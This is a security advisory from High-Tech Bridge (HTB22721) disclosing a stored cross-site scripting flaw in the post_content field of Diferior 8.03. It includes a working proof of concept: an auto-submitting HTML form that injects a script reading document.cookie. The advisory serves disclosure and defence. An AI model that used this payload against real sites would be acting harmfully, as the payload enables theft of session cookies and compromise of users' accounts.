Diferior version 8.03 suffers from a cross site scripting vulnerability.
e3b4e669a5d8c35ac6078bc73aa7e79e53e7aad4291e864655bf4c7e879dec09
Vulnerability ID: HTB22721
Reference: https://www.htbridge.ch/advisory/stored_xss_cross_site_scripting_vulnerability_in_diferior.html
Product: Diferior
Vendor: Povilas Musteikis ( https://www.diferior.com/ )
Vulnerable Version: 8.03 and probably prior versions
Vendor Notification:
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (https://www.htbridge.ch/)
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "views/post.php" script to properly sanitize user-supplied input in "post_content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
An attacker can use browser to exploit this vulnerability. The following PoC is available:
<form action="https://host/post/edit/2/p1.html" method="post" enctype="multipart/form-data" name="main">
<input type="hidden" name="category" value="sample-category-1">
<input type="hidden" name="header" value="Sample post">
<input type="hidden" name="subheader" value="Sample subheader">
<input type="hidden" name="post_content" value='html<script>alert(document.cookie)</script>'>
<input type="hidden" name="schedule" value="now">
<input type="hidden" name="scheduler" value="10/11/23">
<input type="hidden" name="Date_Year" value="2010">
<input type="hidden" name="Date_Month" value="11">
<input type="hidden" name="Date_Day" value="22">
<input type="hidden" name="Time_Hour" value="20">
<input type="hidden" name="Time_Minute" value="47">
<input type="hidden" name="Time_Second" value="23">
<input type="hidden" name="usehtml" value="html">
</form>
<script>
document.main.submit();
</script>